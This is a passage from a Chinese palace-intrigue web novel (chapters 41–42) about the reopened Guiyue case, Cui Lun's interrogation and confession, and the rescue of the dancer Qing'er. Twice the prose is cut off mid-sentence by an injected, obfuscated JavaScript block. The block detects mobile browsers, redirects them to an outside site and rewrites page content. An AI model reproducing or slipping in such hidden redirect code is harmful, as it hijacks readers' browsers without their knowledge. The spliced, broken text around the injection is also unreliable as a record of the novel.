季执礼接过那白纱一细看，瞬时间就觉得头皮发麻，这上面的任何一句话，都是颠覆性的存在，特别这还只是一个小吏所行之事，就已如此，那当时给他下命令的人到底是抱着什么样的目的。 只见白纱上写到：“吾名崔伦，于鬼月案中获悉鬼月余孽家属栖身之所，在鬼月余孽还在逃匿之时假传圣旨，将其捉拿，并冠以余孽之称，虽之后迫使鬼月余孽露面被抓，也得了圣上恩赐，但是所造之孽深重，之后数年心魔缠身，日夜不得安宁。今日将罪孽写于这白纱之上，以祭奠亡魂，望逝者安息。” 季执礼不知道这几行字自己看了多久，但是他能感觉到，在在即沉浸于这短短几行谢罪书的时候，圣人的目光从未离开过。看完之后季执礼只觉得口舌干燥，心中有话但是却说不出一句。 “不过你说的有理，明志你就协助刑案司调查崔家一案。” 此时路上的花车因为袭击的原因已经停下了，禁军在也是严阵以待，路两旁的百姓想离开，但是也被维持秩序的官兵控制住，骚乱声也渐渐大了起来。刚刚的大风已经停了，白纱被击落，巨大的香烛之上空空如也，将军的披风上的白鸟也不再飞翔而是静静地依附在将军的身上，面对此番乱世只有将军还是目光坚定地看向远方，看向这乱世。 可是这样的情景并没有保持太久，禁军又回到该有的位置，花车也继续移动，百姓虽然并不清楚刚刚发生了什么，但是看着一切已经恢复平静，也便不再执着于这一时去探寻消息，毕竟京都的墙到处漏风。 季执礼小记： 季执礼在巡检司的工作时常都会与潇湘阁打上交道，自从上次他在凉山县的潇湘阁中解决完冯源之后，他就再次发现，这潇湘阁可真是好用，平日里若是刑案司遇到什么他们不方便去查的，只需要一封信捎过去，不出一日想要的消息就自己来了，这可比他们走大街穿小巷的来得快。 而就在最近，季执礼收到了一封潇湘阁邀请函。作为一个洁身自好的官员，季执礼几乎不会出入潇湘阁，就算是买消息也是派人传信，这次突然要去亲自去赴约，他心中还有一丝紧张。 赴约当日，季执礼给自己蒙了个严实，看见的人内心难免吐槽一句，这是背着多少个老婆来青楼才需要捂成这般模样。 接迎的鸟雀看了邀请函将季执礼请上了楼，而推门入内萧妖雪已经早早的等在房中。季执礼见到这姑娘的第一眼就认出来她正是当日在凉山县潇湘阁坑了冯源的那个楼主。 这难道是因为当时的事情升官了，现在来了京都的潇湘阁。不过季执礼的这些猜测很快就被这女子接下来的话给否认了。 “季大人好久不见，正式介绍一下，在下萧妖雪。” 这个自我介绍对于季执礼来说无疑是知道了一个惊天的消息，萧妖雪这名字谁人不知谁人不晓，这不就前几日名震京都的那位宰相千金吗？她是潇湘阁的阁主？宰相千金以前是干青楼的？宰相还给她认回去了？ 看着季执礼惊讶的目瞪口呆，萧妖雪只觉得似乎这个世间对于青楼女子的误会还是太深了，且不说潇湘阁中大部分鸟雀都是干信息交易的，这青楼中另外一大部分女子都是清倌不过是唱歌跳舞弹琴罢了，但似乎在世人眼中她们就都是如此污秽不堪。 不过好在季执礼也是懂礼数之人，急忙忙解释道：“之前不知萧楼主已经进京，一直没有拜访，是执礼失礼了。” 对于季执礼这样及时控制住自己的情绪，没有再流出半分轻视的男子，在潇湘阁中还是备受欢迎的，当然在萧妖雪眼中也顺眼不少。 “季大人，我已经不是楼主了，大人不用再如此称呼了。今日叫大人过来，也没有什么大事，就是想和大人熟络熟络，毕竟这段时间大人也算是我们潇湘阁的常客了。” 这话一传入季执礼的耳朵，他的脸飞快的就红，急忙否认。 不料却被萧妖雪抓住机会调笑了一番：“季大人的脸怎么这么红，莫不是穿得太多了，咱们潇湘阁中暖和，你可以把这包头的围巾给取了，不会着凉的。” 此话一出季执礼的脸更红了，但还是动手把那围巾给取了下来。之后二人就这样谈了谈当今的京都，谈了谈未来的京都，不知不觉间已经过去两个时辰，潇湘阁也迎来一天之中最热闹的时候。 二人道别后，季执礼独自下楼，还没出门，便听到后面有人叫道：“季大人，季大人。” 听到自己名字，季执礼难免没忍住脚下步伐一顿就被后面的人拍上了肩，略显尴尬的回头，身后几人正是刑案司的同僚。 此时季执礼真的很想找个洞藏起来，毕竟这几人的话真的是令他无地自容。 “没想到季大人也会来潇湘阁，大人一般多久来一次？我们哥几个倒是常来，怎么都没见过大人？大人这是要走了？那大人下次来之前记得和我们说，我们知道几个姑娘，给大人介绍介绍。” 季执礼实在听不得他们这些污言秽语，不顾几人挽留，顶着大红脸径直离开了潇湘阁。 41. 春神祭祀4 与波澜起伏的春神祭不同，刑案司中总是一片阴沉，官员们阴沉着脸办事，犯人们阴沉着脸等待审判。 在刑案司地牢深处，崔伦缩在牢房的角落中瑟瑟发抖，口中还念念有词。看守的两个士兵站得远远的，丝毫不敢靠近，他们今天除了接到了来看守崔伦的命令外，还接到了一条警告，站远些活得久。 世人多是贪生怕死之徒，这两个士兵也不例外，看守这样的重刑犯给的银子不少，但是若真听到了什么不该听的，又或是让这犯人伤了、死了、逃了，那这脖子上的脑袋都是保不住，所以遇上像崔伦这样疯疯傻傻的离他远些不要去刺激他，这样对于他们这些干活的下人来说还是一件美差，特别还得了上面的准允不用担心因为没有守在犯人身旁而受到责罚。 正当二人还在开着小差的时候，幽暗的走廊中走来了一人，地牢中灯光忽明忽暗，他们并不能确定是上面那几位大人，还是来劫狱，只得打起精神紧紧盯着来人。终于那人走近，他们看清了他身上刑案司的官服，才松了一口气。 来人正是袁墨，袁墨走到二人身前，打量了一下他们和崔伦牢房的距离，点了点头，示意他们先下去，这地牢空荡，若是崔伦看见他又口不择言，那这两小吏恐怕就性命堪忧了。 牢房中的崔伦似乎也感受到有人前来，原本焦躁的情绪稍微控制了一下，但是当他看到油灯下照映出的那张脸时，原本焦躁的情绪达到了顶峰，崔伦快速退到牢房的角落，看着走进来的袁墨瑟瑟发抖。 袁墨并没有步步紧逼，而是站在距离崔伦几步远的位置，拿出了一个药瓶，打开塞子后一股淡淡的异香瞬间就充满牢房，崔伦闻到后原本焦躁的情绪却平复了许多，却在下一秒仿佛抓住救命稻草一般冲向袁墨，仿佛刚刚对袁墨的恐惧已经不值一提了。 崔伦紧紧抓住袁墨的手，就像是波涛中抓住一根浮木一般，原本满口的胡言乱语，似乎在闻到这异香之后脑子也清晰了。 只是舌头好似因为太过激动说出来的话磕磕绊绊。“袁大人，袁大人，我求求你，你把药给我好不好，你把药给我了那些东西就不会缠着我，他们要我的命，他们已经要了我崔家上下几十口人的命了，求求你，你把药给我，你要问什么我都告诉你。” 袁墨听到这话却只是将药瓶更加凑近崔伦的鼻子，却并没有将药交给崔伦，崔伦又是贪婪的吸了几口，但是这显然还是不足以满足他。 袁墨看着崔伦这般模样，心头顿时一股厌烦攀了上来，用力一挥手，将紧紧抓着自己的崔伦甩开，但好在崔伦刚刚吸入了不少药气，现在神志已经清明不少。 刑案司的牢狱毕竟关押的是朝廷命官，环境比普通牢房好了不少，桌椅板凳，烛火茶具应有尽有。只是崔伦因为进来时发疯，已经将这牢房破坏的凌乱不堪。袁墨也只得寻一干净的板凳坐下，今日这牢中只有他和崔伦二人，有些话一定要问明白。 “这根本不是什么药吧，最近货运司查获一桩走私安息草的案子，想必这也是崔大人最近怎么都买不到药的缘故吧。不过这购买禁药的罪名对于你崔伦来说，还是太小了。我们还是谈谈你说的跟在你身边的那些东西吧。” 此时崔伦已经恢复神智，自然知道什么能说什么不能说，这牢狱中空无一人，袁墨定然也是怕问出什么对他不利的被旁人听了去，那么眼前这容貌与当年袁清有三分相似的人，恐怕也是要吃不了兜着走。 “袁大人恐怕是误会什么了，我崔伦只是祭礼司的一个小小的官吏，我身边能有什么东西。想必是袁大人刚刚见了我那疯癫状吓到了，不错我确实是买了这安息草吸食，如果不吃的话，就会疯疯癫癫，胡言乱语，但是这都是疯话，我现在都不知道我说什么，这事哪能当真，你说是吧袁墨袁大人，陛下口中的袁卿。” 袁墨自然知道这崔伦是打算把轻罪给认下来，至少那些罪过就一笔带过，贪食安息草这一事对于崔伦来说罪不至死，但是若他真的承认了鬼月之事，那他必死无疑，但是他不想承认袁墨就算把这牢中的极刑都给他来一遍他也未必会说，若是等到他下次毒瘾再发，借机取证也会因为是非清醒状态下的供词，而不能作为证据。 崔伦看出了袁墨的忧愁，但是除此之外他却不能在袁墨脸上看出一丝焦急，就当两人这样耗着的时候，走廊中传来了脚步声，崔伦也是一松，只要有人来了，袁墨就不会再揪着这个事情不放，这次袁家惨案，自己虽然是嫌疑人，但也是苦主，虽然手上拿着剑，身上全是血，但是死的是他的家人，他根本没有动机，所以被收押刑案司的地牢主要也是为了保护。 袁墨想问出鬼月的事情，除非动刑，但是这样势必刑案司上下都会知道，甚至整个朝堂都会知道，届时只要自己多坚持一下，那些大人自然不会对自己见死不救，说不好最后还能将鬼月这个独苗给拔了。 果然那脚步停在了崔伦的牢房门口，袁墨似乎早知道有人会来，起身对着来人恭敬行了一礼：“见过季大人。” 来人正是季执礼，季执礼看看了蹲在墙角的崔伦，又看看了袁墨，说到：“崔伦一案，涉及旧案，圣人要求彻查，并且派了二皇子协助查案，袁大人该怎么审就怎么审。崔家的案件恐怕会比我们想的简单，这次重点还是要放在当年崔伦屠杀鬼月家属一事，圣人的意思是最好能查出背后授意的人到底是谁。” “为何？” 虽然季执礼隐约觉得袁墨对于今日春神祭的事不会一无所知，但是既然他现在当着崔伦的面问了，他也有必要让这个疯子知道外面发生了什么。 “春神祭上出现了这家伙的谢罪书，圣人亲自过目，中间不少人也都看见了。” 果然此话一出袁墨的神情都没怎么起伏，反观崔伦现在已经面色煞白，嘴唇颤抖，他怎么都想不明白，为什么圣人要把那时的事情翻出来再查一遍，这些年不是都相安无事的过去了吗？ 看着袁墨淡定的应下后，崔伦此刻自杀的心都有了，可无奈随着季执礼和袁墨的离开，这牢房中桌椅板凳都被收拾干净，自己嘴里被塞上了防止咬舌的布团，手脚也被铐上，此刻崔伦正式从苦主变成了阶下囚。 袁墨与季执礼离开地牢一路无话，最终还是季执礼忍不住了，问出了心中的疑惑：“袁大人，你似乎对于圣人要彻查崔伦一事并不意外？” “季大人，花车一事袁墨今日刚将崔伦带回就听说，恐怕白纱呈递过程中过手的人不少，这事要想暗中调查恐怕难上加难，所以陛下索性就要求彻查到底。” 季执礼听后也是一惊，当时陛下同自己说：“季卿，这白纱从城墙上取下来，到现在拿在你手上，至少有不下十人看到，这要是再加上之前书写的工匠，安装的工匠，你觉得这事可以瞒多久？此事牵连重大，单由你刑案司负责恐怕却是心有余而力不足，此案就由周明志协助你们调查吧。”如此看来，这样一个善解人意的臣子难怪圣人喜欢，但若要深思，那些想法让季执礼后背一股凉意攀了上来。 见季执礼面上表情僵硬，袁墨也是礼貌的转移了话题，问到：“方才在牢中听闻季大人说此案由二皇子协助办理，这是？” 见话题转了，季执礼也赶快接上了话：“圣人说此案牵连重大，圣人让我负责彻查谢罪书一事，担心刑案司人手不够，便让二皇子带人协助办理。” 虽然这个理由足以让一个皇子参与到这个案件中，但是圣人明明知道这次崔伦会有这些遭遇，为何还要一定要加一位皇子进来，这其中会产生多大的变数，袁墨实在想不清楚。 说话间二人已经重见天日，此时正值正午，阳光带着暖意洒在人的身上，难免会萌生一些倦意，大案在眼前，待周明理来坐镇刑案司，他们恐怕是几天都没机会合眼，季执礼和袁墨此时也是默契道别之后，回房休息。 只是袁墨躺在榻上却是翻来覆去，难以入眠，圣人让二皇子来协助，想让周明志增加一些阅历，日后真要传位与他，不至于对于各司各属的工作一无所知。但为何偏偏要选这个案子，说到底恐怕还是对自己心存怀疑。 想到这袁墨长叹一声，呢喃道：“终究还是帝王无情呐。” 春神祭也在圣人点了李、袁、黄三家联办的花车点了金，那尊将军已经被放置在了宫门口，但是宫墙挡风，将军的披风再也没飘起来了。 周明志接了圣旨便没有继续观看春神祭，而是早早回到府上置办，准备接下来这场恶战。 可刚刚回到府中，便看到了一道不属于王府的身影，那人正是几日前在路上遇到诡异消失的潇湘阁阁主。只见那人还是如那夜一般一袭黑衣，坐于院中，脸上带着那渗人面具，周明志府上下人不少，但是因为他喜静，他的院中就很难看到侍女，而这位的出现，毋庸置疑谁都没有注意到。 “阁主亲临，未能远迎，是明志疏忽了。”周明志也不含糊，率先开口。 “殿下不必如此，现在我们都还没有那么相信对方，这些话就省省吧。我也就开门见山，这次圣人将这案件交于殿下，潇湘阁愿意倾力配合，殿下有何需要都可书信阁中，我希望这可以是一个我们相互了解的机会。” 周明志自从那晚见过这个神秘人后，便隐约能感受到，潇湘阁已经开始他们要辅佐的势力开始选择，如今这位阁主亲自现身，看来这次案件于东梁非常重要，于他自身也非常重要。眼前这人日后会成为自己登顶九五至尊之位的重要助力，说起话来自然也是更加谨慎了。“多谢阁主，我也希望我们可以有一次愉快的合作。只是明志刚刚接手鬼月相关的案件，之前事关此案消息封闭，不知阁主能否提点一二？” “崔伦的相关消息，殿下尽管差人来楼中取，只要价格到位，潇湘阁保证知必言，言必尽。崔伦案涉及旧案，当年鬼月一事中可以说现在的这些新贵， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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季执礼和袁墨当然知道这皇子来多半是做做样子的，正打算打声招呼继续去办案，可没想到周明志凳子都没坐热，便主动提出来要同他们一起去审问崔伦。季执礼惊讶于这皇子竟然有这么高的积极性，而袁墨却惊讶于这皇子如此关心此案，会不会对自己之后的安排有影响。 但周明志毕竟是皇子，这话一出，季、袁二人已经没有拒绝的理由，便陪同周明志来到地牢，只是二人心中对这次周明志的监察工作又多了一分重视。 在三人离开后，之前随马车来到刑案司的小厮也撤走一部分，其中有一人却并未跟随众人回府，而是在转角处悄悄从队伍的最后消失了。 刑案司的地牢关押多半是待审的官员，环境比那些关押作奸犯科的衙门好不少，但是依然环境昏暗，几个不算明亮的篝火偶尔发出噼啪的声响。崔伦的牢房在最里面，放眼望去看不到狱卒，崔伦虽已经服下大夫给开药物，但是药效终究还是有些压不住体内蠢蠢欲动的毒瘾，他看着空旷的走道，只觉得头晕呼呼的，全身都在出汗却又仿佛置身冰窟，情绪也越来越不安，迷糊之中仿佛听到了有脚步声，但是却提不起一点精神去查看。 萧云雁小记： 拜别了林华东，萧云雁刚走出潇湘阁，脑海中就不由得回想起刚刚林华东提到的平阳巷的糖水铺子，平日里萧云雁不喜甜，但是不知道怎么，今日却格外想去那里来上一碗。 心动不如行动，萧云雁即刻放下了手头所有事，直奔平阳巷而去。 到了那却看到人头攒动，大家都踮着脚尖往里望。 萧云雁也在好奇心的驱使下，暂时放弃了对于糖水铺子的追求，也跟着那群人往里望。 只见人群中间围着一男一女两个人。男子读书人模样，看起来衣裳褴褛，衣服上还有不少灰尘，半趴在地上，恐怕是刚刚被这女子推倒的。 再看那女子衣裳华贵，头上金钗更是价值不菲，双手叉腰，柳眉倒竖，看起来一副咄咄逼人的架势。 “好你个骗子，偷了钱还不承认，我看你就是欠收拾，今天当着这么多人面，你要是识相，就快点把钱交出来。” 这姑娘话一出，人群中就有人开始议论起来，但是声音嘈杂，萧云雁确实没听清。 “大小姐，我真的没有偷你的钱，你就算打死我我也拿不出来呀。” 这时人群中的议论声更大了，萧云雁终于听清了他们在说什么。 “你说说这可是宰相家的千金，怎么如此蛮横无理。” “听说就为了，几两银子就把人打成这样，关键还不是这个人干的。” “这恐怕是和他那个爹学的吧，屈打成招。这样女孩子以后谁家敢娶呀。” 萧云雁算是弄明白这些人在嘀嘀咕咕什么了，感情都是些市井之见罢了。 再看那穷书生，虽然被那女子骂得狗血淋头，看起来大气都不敢出一声，但是细看，其实他的手一直若有若无的护着袖口，似乎是在担心里面的东西落出来。 那女子似乎更气了，竟然给了那男子一脚，旁边有好事之人跳了出来阻挠，女子的护卫看到一家小姐有危险也是冲了上去，和那些百姓纠缠在一起，一时间叫骂声，推搡声夹杂着爹呀娘呀的问候，充斥了整个平阳巷场面。 而且一个最后都被一个极其响亮的惨叫给掩盖了，所有人都安静下来四处张望，寻找这声惨叫的来源。 42. 春神祭祀5 其实被关在刑案司里面的犯人总是这样，希望通过麻痹自己来等待自己在外面的那些人脉救自己一把，可奈何总是阎王先到。 直到听到门上金属锁链的响声才打起精神看了一眼，看见的却是两个身着墨色官服的衙役，而非那整日缠着自己的恶鬼。 两人看着如同一滩烂泥的崔伦，满眼嫌弃，一人一手将人架出了牢房，却听到耳边有人低语：“等会该说什么不该说什么你最好想清楚，怎么说会让自己死得舒服点。” 这句话崔伦并不陌生，当年鬼月之案后他被关起来，训练了一个月，每一个字都是别人精心安排的，最后所有罪过都会落在他的头上，而不会牵扯到身后的大人物。而每一次练习之前，他都会听到这句话。 如今再次听到之时，崔伦只觉得全身脱力，但是当年那些人也让他知道如果他不说实话的后果，有人知道他该说什么，他不说等待他的就是严刑拷问。 崔伦依旧无精打采，但是突然他闻到一股异香，只觉得香气直冲颅顶，之前的迷糊一扫而空。睁眼只是又被那屋内明亮的灯火一晃，好半天才回过神来，便看见前面坐着的三个人，左右两人之前在牢房中见过正是季执礼和袁墨，中间一人崔伦没见过，但是他的衣服崔伦就算化成灰也能认出来，一身紫金袍，这色泽这图案恐怕只有皇子才配享，这让崔伦的心突然有了几分希望。 袁墨作为鬼月后裔必然是要置他于死地的，季执礼得了圣人的命令要查案，没有理由草草了事。但是这位皇子可不一样，众所周知，只要是当年鬼月案之后没有被贬被杀的于此案中是获利颇多，那这位皇子从中得了多少好处，当时他可能不清楚，但是他的母妃定然是一清二楚，如今自己也算手上有他的把柄，或许拼一条生路也未尝不可。 可是这位皇子开口第一句话，便彻底湮灭了崔伦希望：“崔伦，本王奉命监察此案，当年鬼月之事，你最好一五一十老实交代了。” 在场众人都看见，崔伦刚刚泛起点生气的脸色，快速的灰白下去，整个人的最后的精气神就像被抽走了一般，木讷地开口说到：“当年我只是个不起眼的小头目，手下有几个人，主要管我们那个营的兵械。后来偶然搭上一条线，我就开始偷偷地走私兵器。 但是没多久我们这股线就被鬼月给盯上了，但是那时的鬼月已经得罪了梅家，我们就想借着此事躲过这一劫，后来事情果然按照我们想的方向发展了，鬼月自身难保，自然也无力再来调查我们。 但是我们的买方还有一批货在我们手上，就借此机会希望我们可以除去鬼月。当时李相捉拿了袁清，我家恰巧与袁清部下有些交集，我就想抱着试一试心态，去他们常提到的地方看看，果然就找到了鬼月的家眷。于是我便怂恿当时的刑案司正职带了人去抓了这些家眷。我的本意想借此捉拿更多鬼月余党，然后再向李治邀功。没想到，我真没想到他们会全部都……”说到这崔伦已经整个人抖得如同筛糠，之后再也说不出来一句完整的话。 听到这，袁墨的眉毛不禁拧起，这崔伦所说合情合理，但是袁墨却觉得这样的答案得到的太轻松了。袁墨当即开口道：“走私兵器已经是死罪，当年的刑案司正职也为自己鲁莽抓人处刑付出了代价，你竟然还能活到这个时候，你身后到底是谁？” 这个问题在当年崔伦被关起来练习之时并不是没有考虑到，只是当时后面那些大人物认为，若是过了这么多年以后再要查，必然声势浩大，他们大有时间提前将这崔伦处置了。可不曾这次事发竟然是以崔家灭门案开始的，崔伦的谢罪书又以那样的方式出现在春神祭。一切事发打他们一个措手不及，而当他们去找崔伦之时，崔伦不是以灭门案的苦主身份在偏厅休息，而是做了鬼月旧案的犯人身陷牢狱。 崔伦也因为这些年的安稳日子过多了，再加上服用了安息草，虽然当年段罪名谢词反复琢磨话他现在可以一字不落的说出，但是袁墨的这个问题，他已经忘到了九霄云外。 只见崔伦脑门上黄豆大小的汗滴不断顺着脸颊滑下，半响才说道：“是……是李治……” 说完就再不敢多说一个字，袁墨听到这个答案之时也是一愣，当时萧妖雪找自己话里话外就是不希望办崔伦之时牵扯到李治，而袁墨如今作为李治门生，这个案件中如果牵扯出李治对他来说也是非常不利的。 而就在这时，他身旁之人突然起身，走到崔伦身前，崔伦不敢抬头，只能看着眼前的那片阴影，听到头顶传来的声音：“李相？李治？崔伦我看你是怕黄泉路上太孤独，想拉个人同你一起走吧。据我所知，你之后多次想去登门造访李治都被拒之门外，至于你能拿到祭礼司这份差事，是因为当时你将捉拿鬼月家眷之事全都推到了前任刑案司正职上。你看你这白纱上的谢罪书不就是这样写的吗？这罪你是认还是不认？” 袁墨本来听到二皇子解了这个困境松了一口气，却又被周明志之后的话吓了一跳，看过去周明志手中的白纱确实与自己安排人装上花车的无异，但是自己可从未写过与前刑案司正职相关的事情，那周明志手中这白纱从何而来，又或者说当时挂在花车上的白纱到底是…… “认……我认。”袁墨与季执礼看不清崔伦的表情，但是这认罪的话语倒是听得齐全，本想着要惊动整个京都鬼月旧案就用了不到两个时辰，罪犯就伏法认罪了。袁墨还想再问些什么，却对上了转身过来的周明志，这位二皇子身上刚刚强硬之势已经没有，而是笑着对季、袁二人道：“刑案司果然名不虚传，本王已经铺盖都带过来了，没想到这一下午不到，事情就解决了，剩下是就有劳刑案司的两位大人，本王也不多打扰了。” 说罢便招呼几人离开了地牢，周明志离开地牢便有侍从拿着火盆过来让他跨过去，去去晦气。而之前布置的书房周明志也没有再回去，但是没有吩咐下面的人将东西收走。刑案司中的小吏更是没有这个胆量去收拾皇子的东西，只能任由那间房子空置，却不料之后没多久二皇子的这些布置还真能派上用处。 地牢中还留下季执礼与袁墨二人，崔伦的罪已经认完了，但袁墨总有一种这事情到这所有线索都有了很好的解释，似乎已经没有什么还可以再利用的。还在沉思之时，季执礼将袁墨拉到了一旁，说道：“这个案子圣人让二皇子监察，如今看来就告于段落，但是我看袁大人似乎还有疑惑？” 袁墨郁结于心，一时间被情绪左右，开口道：“我还是觉得当年的鬼月，最大的暗探组织，血流成河，最后就只是因为这一个小吏？他到底有多大能耐，这‘功劳’与李相不相上下。” 季执礼听得出来，当时崔伦供出李治那话是被袁墨听进去，但是既然二皇子已经纠正这个错误，袁墨就不该再以这个点继续深究。季执礼在此案中没有什么利益牵扯，他只觉得鬼月旧案结束太过干脆，而或许崔家的灭门案可以提供一些新的突破口。 最终崔伦一事就以这样的方式草草画上了句号。之前来报官的晴儿也因为案件的了结，离开了刑案司。 离开刑案司的第一件事晴儿便想到回仙乐楼，这一路上顾不上什么女子的举止优雅，一路狂奔向仙乐楼，到了门前早已气喘吁吁。 此时天光大亮，仙乐楼不似潇湘阁那般整日人来人往，此时正是楼中最闲暇的时刻。门口的小厮拿着扫把在那装模作样扫地，其实眼睛一直没离开旁边那张牌桌。 所以当晴儿闯入他的视线时，他都没有意识到，这位是他们的舞姬。直到晴儿在那停留了好一会彻底挡住了他看牌桌的视线，那小厮才带着几分怒火注意到这个姑娘。 这一注意不要紧，吓得他直接丢了扫把冲进楼里，但是进去的时候还不忘将大门紧闭，晴儿连进门的机会都没有，就这样被晾在了门外。 好在时间不长，仙乐楼的管事就出来了，仙乐楼的这位管事是一个人面前脸上一年到头都带着笑容的中年女子。以前是仙乐楼的花魁，后面年老色衰上不了台面，好在经商头脑不错在老管事走了之后，她便顺利接手了。 管事看到晴儿之后同样是面带笑容的将她迎进了仙乐楼中，但是晴儿却从心底莫名升起了一股寒意。 果然刚进楼里，管事脸上的笑容就消失的无影无踪，原本看热闹的姑娘们看到这个情形也默契的回到各自的房中。 “嬷嬷，对不起。”晴儿跟了这位管事这么久，自然知道这个笑面虎是个什么性格。她现在这个变脸，那就是暴风雨的前奏。 “晴儿，你来仙乐楼也有四年了吧，还有一年你就可以为自己赎身了，这些年你在仙乐楼名气不小，想必也攒下了不少金银细软，应当足够你赎身了，但是你这也还有一年，这一年你还是要听从楼里的安排可是？”本以为这个管事还会继续板着脸，没想到刚开口，她那笑容又浮上了脸。 不过晴儿却并没有因为这个笑容安心，反倒心里更是忐忑不安。“我……” 还不等晴儿想好如何说，管事的就先行开口打断“晴儿，昨日东街的街口的布商找一个丫鬟，给的银子不错，我打算让你过去。” “嬷嬷可是我……”晴儿的话再次被打断了。 “晴儿，我知道你想说什么，但是你毕竟是惹到了命案，楼里不可能留你了。” 此话一出，晴儿如同晴天霹雳，明明自己才是那个受害者，为何会这样。 瞬时间这段时间的委屈、害怕、担心一同涌上心头。“为什么？为什么？为什么……” 回应她的只有冷漠的寂静，晴儿忽然跪下祈求道：“嬷嬷我求求你，求求你了，不要让我走，我有钱我有钱，求求你别让我走了。” “钱？晴儿你的那些钱都是楼里的，你哪里有？” 又是一个炸雷在晴儿头顶炸开“嬷嬷，你什么意思？” “你的钱都是楼里给的，你现在不能在楼里干了，要去大户人家享福了，这钱自然就是要留在楼里了。” 晴儿再也受不了这些打击了，一下子瘫倒在地了。 管事的见这丫头是不会自己去了，对着旁边的小厮招呼了一下，便上来几人就要将晴儿拖走，这会晴儿不知道哪里来的力气，一把抓住管事的腿说什么都不愿意松手。 “我不要，我不要。” 此时就连拉她的几个小厮都感到震惊，这股力气突然大到几人都一时之间。嬷嬷是被她拉的脚下一踉跄差点摔倒在地。 “你做什么？快把她拉走。这姑娘不听管教，那就打一顿。” 这话才说完，旁边就有几人拿着木棒过来。还不等嬷嬷吩咐，举起木棒就打。 那手臂粗的木棒落在晴儿身上，仍是没有把她抓着管事腿的手打开。 管事也不耐烦了，蹬腿想甩开晴儿，可是晴儿就任凭管事的脚在她身上乱踹，死活都不松手。 眼见拿木棍的小厮下手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792301|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越来越重，再这样下去估计闹出人命。但是无论是管事还是小厮都没有丝毫要停手的意思，就好似这晴儿今天要不就松口答应去了做丫鬟，要不就被活活打死在这楼里，没有第三条出路。 晴儿被打得意识已经开始涣散，抓着管事的手也不自觉地松开了，正当管事打算甩手走人，不再理会这姑娘的死活，这时仙乐楼的大门却再次被打开，一个女子走了进来。女子身着蓝色衣裙，走路之间仿若水波纹荡漾。在晴儿眼中这就像久旱之后涓涓的小溪，而在管事的眼中那就是表面平静却溪流之下却全是乱流。 “沈楼主，这是什么风把你吹到咱这仙乐楼来了？”沈轻离作为京都潇湘阁的楼主，在京都的青楼之中地位举足轻重，平日里都是整天窝在潇湘阁中，她露面那都是天大的事，今日不知道是怎么回事就来了这仙乐楼。 管事的一时之间有些手足无措，小厮见管事并没有叫他们停手，虽然感受到来人的威胁，但是却也不敢停手，但是看热闹的心已经让他们的手上的动作慢下来了，也让晴儿有了喘息的机会。 “京都中青楼女子，是不能随意买卖，你们仙乐楼可知道这个事？” “知道知道。”这沈轻离一开口，仙乐楼的管事就知道她要说什么了，这规矩是京都潇湘阁定的，各家也表面上遵从，但是难免暗中也会有人搞些小动作，有些被潇湘阁抓住了，那这家店也算是走到头了，但是也有运气好的比如仙乐楼也暗中做了几次，都没有露出马脚，这次不知道是哪个环节走漏了风声，竟然让潇湘阁的楼主亲自过来了。 “听说仙乐楼卖给东街街口的布商一个女子，不知这事你可知道。” 听到这轮到管事的冷汗直冒了，但还是抱着赌一把的心态说道：“沈楼主多虑了，我们仙乐楼一直都很安分守己，怎么会做这样的生意。” “那这位姑娘？” “楼中管教姑娘呢，沈楼主就为了这事跑一趟还真辛苦您了，不妨坐下喝杯茶吧。” 管事的试图掩盖已经发生的事情，好在晴儿已经恢复了意识，提着残留的一口气说道：“就是他们，他们要把我卖给那布商，我不答应他们就打我，沈楼主救救我救救我。” 管事再看向沈轻离时候，她就一脸‘解释一下’的表情了。 “沈楼主，你别听她瞎说，她就她就随口乱说的。” “你也不必再同我费口舌了，我也直说了，晴儿姑娘之前去因为崔伦的案件去了刑案司，刑案司的正职季执礼特意来拜托我要保证晴儿姑娘的安全，我便想着亲自来一下。没想到路上就听说了你们还有这样的勾当，这来了买卖的竟然还恰好是晴儿姑娘，所以你也不要怪我多管闲事，这事我必须要管。” 这次换做管事的六神无主了，这沈楼主意思不就是他们仙乐楼就算彻底完了吗？ “沈楼主，这……” “你也不必多说了，我今天先带晴儿走，至于之后的事情，之后再找你们算账。” 说罢潇湘阁跟来小厮就将晴儿小心翼翼的搀了出去，而仙乐楼的人却不敢阻止半分。 萧云雁小记： 书接上回说道，那破空一声惨叫引来了众人目光，这惨叫的来源正是刚刚躺在地上那个穷书生，他之前护着袖口的那只手被别到了身后，看那角度这手多半是已经废了。 而他刚刚遮遮掩掩的袖口也彻底敞开，萧云雁从里面拿出了一个荷包，一旁的女子很快就认了出来，上去又对着那穷书生踹了两脚。“就你好小子，偷了钱你还不承认，你还给我泼脏水，我这就让人送你去官府。你偷我林梦的东西，你还太嫩了。” 眼见事情解决了，围观的众人也都散去，女子走到萧云雁面前说道：“多谢姑娘出手相助，我叫林梦，不知姑娘尊姓大名？” “我叫萧云雁。” “嗯嗯，萧姑娘好。”看着萧云雁只介绍了自己却半分没有其他的动作，林梦也只好眼巴巴地盯着她，二人就这样僵持了半晌，林梦终于憋不住了“萧姑娘可否将钱袋还给我呢？” “你说这钱袋是你的？” “嗯嗯。” “那这钱袋里面有少钱呢？” “啊？这……我……” “不知道？那你怎么证明这是你的钱袋？” “嗯……对了，这钱袋里有父亲今早才给我的请的贵人符，你打开看看就知道了。” 萧云雁大概已经猜到这位姑娘的身份了，只是觉得这一切就像巧合一般，有些让人难以置信，直到她打开了钱袋，看到了里面的那张所谓的贵人符，她才意识到，这根本不是什么巧合，而是权势滔天。 那贵人符上只写一句话“家女林梦，望萧姑娘多照拂。” 萧云雁看了之后，将那贵人符留下把钱袋子还给了林梦。 